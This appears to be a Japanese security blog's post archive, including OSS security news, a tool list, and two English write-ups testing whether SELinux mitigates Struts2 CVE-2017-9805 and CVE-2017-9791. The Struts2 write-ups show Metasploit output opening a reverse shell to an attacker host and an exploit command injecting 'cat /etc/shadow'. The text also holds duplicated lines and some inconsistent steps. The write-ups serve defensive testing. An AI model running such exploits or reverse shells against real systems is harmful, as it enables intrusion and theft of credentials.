OSSセキュリティ技術の会(Secure OSS SIG) blog
2022年10月12日水曜日
Node.jsのvm2のサンドボックスからの脱出の脆弱性(Sandbreak: CVE-2022-36067)
2019年2月11日月曜日
ISC announced new code signing key
ISC announced new code signing key
ISCが、2019 - 2020年用の新しいsigning key( key ID 4CBB3D3)を公開しました。
https://www.isc.org/downloads/software-support-policy/openpgp-key/
2019年1月24日木曜日
Snortの開発者"Martin Roesch"氏がSnortを離れるそうです
Snortの開発者である"Martin Roesch"氏が、Snortの開発から離れるそうです。
https://seclists.org/snort/2019/q1/99今後のSnortの開発がどうなるかが気になる所ですが、一方で氏が新しく何をやるかが面白そうです。
2018年9月12日水曜日
OpenSSL 1.1.1リリース
OpenSSL 1.1.1がリリースされたようです。
OpenSSL 1.1.1リリース
OpenSSL 1.1.1がリリースされたようです。
一次情報源
OpenSSL Blog: OpenSSL 1.1.1 Is Released今回の1.1.1はLTS(Long Time Support)となるため、調べておいたほうが良い情報だと思われます。
今回の目玉はやはりTLS1.3のサポートです。
主な更新はこちらになるようです。
- クライアントとサーバ間での必要な往復の回数を削減することによる接続時間の改善
- 特定の状況でクライアントが暗号化されたデータを、サーバが必要とするラウンドトリップなしに送ることが出来る機能(0-RTT)
- 特定の状況でクライアントが暗号化されたデータを、サーバが必要とするラウンドトリップなしに送ることが出来る機能(0-RTT)
- OpenSSLの乱数生成器の完全な書き直し
- SHA3
- SHA512/224 and SHA512/256
- EdDSA (including Ed25519 and Ed448)
- X448 (adding to the existing X25519 support in 1.1.0)
- Multi-prime RSA
- SM2
- SM3
- SM4
- SipHash
- ARIA (including TLS support)
2018年4月23日月曜日
OSS_Security_Category_2018
カテゴリ一覧(逐次更新)
ネットワーク
ファイアウォール
netfilter(https://www.netfilter.org/)
firewalld(https://www.firewalld.org/)
プロキシ
Squid(http://www.squid-cache.org/)
IDS/IPS
Snort(https://snort.org/)
WAF
ModSecurity(https://www.modsecurity.org/)
NAXSI(https://github.com/nbs-system/naxsi)
パケットキャプチャ/解析
Moloch(https://github.com/aol/moloch)
運用監視・管理・レポーティング
運用監視
Nagios(https://www.nagios.org/)
Zabbix(https://www.zabbix.com/)
Cacti(https://www.cacti.net/)
パッチ・コンテンツ管理
Katello(https://theforeman.org/plugins/katello/)
Spacewalk(https://spacewalkproject.github.io/)
脆弱性管理
OpenSCAP(https://www.open-scap.org/)
OpenVAS(http://openvas.org/)
Vuls(https://github.com/future-architect/vuls)
SIEM
OSSIM(https://www.alienvault.com/products/ossim/)
SIEMonter(https://siemonster.com/)
ネットワークセキュリティ監視
Bro(https://www.bro.org/)
ネットワークフォレンジック解析
Xplico(http://www.xplico.org/download)
レポーティング
Dradis(https://dradisframework.com/ce/)
情報収集
Maltego(https://www.paterva.com/web7/)
インシデント・レスポンス
Google Rapid Response(https://github.com/google/grr)
TheHive(https://github.com/TheHive-Project/TheHive)
OS
アクセス制御
SELinux
AppArmor
SMACK
TOMOYO
セキュリティツール専用OS
SECURITY ONION(https://securityonion.net/)
SIFT(https://digital-forensics.sans.org/community/downloads)
システム連携
認証・アクセス管理
ディレクトリサービス
ID管理
暗号化
SSL
OpenSSL(https://www.openssl.org/)
LibreSSL(http://www.libressl.org/)
SSH
OpenSSH(https://www.openssh.com/)
Apache MINA SSHD(https://mina.apache.org/sshd-project/index.html)
VPN
OpenVPN(https://openvpn.net/)
スキャン・攻撃解析及びテスト
ポートスキャン
nmap (https://nmap.org/)
マルウェア解析
IRMA (http://irma.quarkslab.com/)
Malice (https://github.com/maliceio/malice)
MISP (http://www.misp-project.org/)
攻撃解析
Cortex (https://github.com/TheHive-Project/Cortex)
リバースエンジニアリング
radare2 (https://github.com/radare/radare2)
サンドボックス
Cuckoo (https://cuckoosandbox.org/)
侵入テスト
Metasploit Framework(https://github.com/rapid7/metasploit-framework)
Kali Linux(https://www.kali.org/)
その他指摘事項
サーバ仮想化 --> 仮想化に直してはどうか?
VM
qemu
KVM
Xen
VirtualBox
コンテナ
Docker
OpenVZ
LXC/LXD
containerd
runc
cri-o
関連ソフトウェア
virt-manager
libvirt
VirtualBox
DragonFly BSD --> 「仮想化」でしょうか?
Cloud Native Storageの追加(https://raw.githubusercontent.com/cncf/landscape/master/landscape/CloudNativeLandscape_latest.png)
LeoFS(https://leo-project.net/leofs/)
2017年9月11日月曜日
S2-052: CVE-2017-9805(Struts2) PoC with SELinux
We did recently "Important" Struts2 vulnerability(CVE-2017-9805) PoC to check how SELinux can mitigate that vulnerability.
(Written by Kazuki Omo:ka-omo@sios.com).
Prepare for PoC
Here is a description how to reproduce it. I used CentOS7 image for the PoC. I used VMWare Guest(CPU: 1, Memory: 2GB) for the PoC. Also, I used selinux-policy-targeted-3.13.1-145.el7.noarch (See related post: http://www.secureoss.jp/post/omok-selinux-struts2-20170607/).
-
Install tomcat and related packages for working Struts2.
-
Download and install vulnerable version of Struts2. I used struts-2.5.11. Copy struts2-showcase.war and struts2-rest-showcase.war under /var/lib/tomcat/webapps
root@centos7:~# ls /var/ls /var/lib/tomcat/webapps/*war /var/lib/tomcat/webapps/struts2-showcase.war /var/lib/tomcat/webapps/struts2-rest-showcase.war
-
Prepare Metasploit for the PoC. You can easy to use "Kali Linux(https://www.kali.org/downloads/)" for running Metasploit Framework. Run "apt-get update ; apt-get upgrade" for updating Kali Linux completely, then follow the procedure for running CVE-2017-9805 PoC (Set up Metasploit Module for Apache Struts2 Rest : http://hackersgrid.com/2017/09/metasploit-module-for-apache-struts-2-rest-cve-2017-9805.html).
-
To avoid normal Unix permission check for the PoC, I changed /etc/shadow permission to 755.
root@centos7:~# ls -lZ /etc/shadow -rwxr-xr-x. root root system_u:object_r:shadow_t:s0 /etc/shadow
PoC with no SELinux(SELinux Permissive)
-
Confirm SELinux is Permissive mode;
root@centos7:~# getenforce Permissive
-
Run PoC from msfconsole(Metasploit). AA.AA.AA.AA is Kali Linux IP, and XX.XX.X.XX is Struts2 PoC server;
msf exploit(struts2_rest_xstream) > exploit [*] Started reverse TCP double handler on AA.AA.AA.AA:4444 [*] Accepted the first client connection... [*] Accepted the second client connection... [*] Command: echo DxP98C50UAVxX6jn; [*] Writing to socket A [*] Writing to socket B [*] Reading from sockets... [*] Reading from socket B [*] B: "DxP98C50UAVxX6jn\r\n" [*] Matching... [*] A is input... [*] Command shell session 2 opened (AA.AA.AA.AA:4444 -> XX.XX.XX.XX:43584) at 2017-09-11 15:42:12 +0900 id uid=91(tomcat) gid=91(tomcat) groups=91(tomcat) context=system_u:system_r:tomcat_t:s0 root:XXXXXX.::0:99999:7::: bin:*:17110:0:99999:7::: daemon:*:17110:0:99999:7::: --snip-- sshd:!!:17247:::::: jssosug:XXXXXXXXXXXX::0:99999:7::: jsossug@vmhost:~$
PoC with SELinux Enabled(SELinux Enforcing)
-
Reboot and set SELinux as Enforcing.
root@centos7:~# getenforce Enforcing
-
Run PoC from msfconsole(Metasploit). AA.AA.AA.AA is Kali Linux IP, and XX.XX.X.XX is Struts2 PoC server;
msf exploit(struts2_rest_xstream) > exploit [*] Started reverse TCP double handler on AA.AA.AA.AA:4444 [*] Accepted the first client connection... [*] Accepted the second client connection... [*] Command: echo DxP98C50UAVxX6jn; [*] Writing to socket A [*] Writing to socket B [*] Reading from sockets... [*] Reading from socket B [*] B: "DxP98C50UAVxX6jn\r\n" [*] Matching... [*] A is input... [*] Command shell session 2 opened (AA.AA.AA.AA:4444 -> XX.XX.XX.XX:43584) at 2017-09-11 15:49:01 +0900 id uid=91(tomcat) gid=91(tomcat) groups=91(tomcat) context=system_u:system_r:tomcat_t:s0 cat /etc/shadow cat: /etc/shadow: Permission denied
-
Check AVC log on Struts PC;
type=AVC msg=audit(1505112552.257:431): avc: denied { read } for pid=4684 comm="cat" name="shadow" dev="dm-1" ino=34690693 scontext=system_u:system_r:tomcat_t:s0 tcontext=system_u:object_r:shadow_t:s0 tclass=file
Conclusion
From this PoC we can say
- Latest SELinux can mitigate Struts2 vulnerability "if Policy is updated".
2017年8月9日水曜日
S2-048: CVE-2017-9791(Struts2) PoC with SELinux
We did another "Famous" Struts2 vulnerability(CVE-2017-9791) PoC to check how SELinux can mitigate that vulnerability.
(Written by Kazuki Omo:ka-omo@sios.com).
Prepare for PoC
Here is a description how to reproduce it. I used Fedora25 image for the PoC. I used VMWare Guest(CPU: 1, Memory: 2GB) for the PoC. Actually, this PoC environment is almost same as Previous vulnerability (CVE-2017-5638 which we did on June.). Also, I used selinux-policy-targeted-3.13.1-225.11.fc25.noarch because previous policy had un-confined tomcat_t policy(See http://www.secureoss.jp/post/omok-selinux-struts2-20170607/).
-
Install tomcat and related packages for working Struts2.
-
Download and install vulnerable version of Struts2. I used both of struts-2.5.10. Copy struts2-showcase.war under /var/lib/tomcat/webapps
root@fedora25:~# ls /var/ls /var/lib/tomcat/webapps/*war /var/lib/tomcat/webapps/struts2-showcase.war
-
Download and copy the PoC code on remote. There are many sample site for the PoC, then I'm not explaining it in here.
-
To avoid normal Unix permission check for the PoC, I changed /etc/shadow permission to 755.
root@fedora25:~# ls -lZ /etc/shadow -rw-r--r--. root root system_u:object_r:shadow_t:s0 /etc/shadow
PoC with no SELinux(SELinux Permissive)
-
Confirm SELinux is Permissive mode;
root@fedora25:~# getenforce Permissive
-
Run PoC from remote host(jssosug@vmhost);
jsossug@vmhost:~$ python Struts048.py http://172.16.148.147:8080/struts2-showcase/integration/saveGangster.action "cat /etc/shadow" root:XXXXXX.::0:99999:7::: bin:*:17110:0:99999:7::: daemon:*:17110:0:99999:7::: --snip-- sshd:!!:17247:::::: jssosug:XXXXXXXXXXXX::0:99999:7::: jsossug@vmhost:~$
PoC with SELinux Enabled(SELinux Enforcing)
-
Reboot and set SELinux as Enforcing.
root@fedora25:~# getenforce Permissive
-
Run PoC from remote same as before;
jsossug@vmhost:~$ python Struts048.py http://172.16.148.147:8080/struts2-showcase/integration/saveGangster.action "cat /etc/shadow" cmd: cat /etc/shadow cat: /etc/shadow: Permission denied
-
Check AVC log on Struts PC;
type=AVC msg=audit(1598882036.160:219): avc: denied { read } for pid=4413 comm="cat" name="shadow" dev="dm-1" ino=34456196 scontext=system_u:system_r:tomcat_t:s0 tcontext=system_u:object_r:shadow_t:s0 tclass=file
Conclusion
From this PoC we can say
- SELinux can mitigate Struts2 vulnerability "if Policy is updated".;
- Last SELinux Policy is treating "tomcat_t" as "unconfined domain".
- Latest version of SELinux Policy will solve the problem.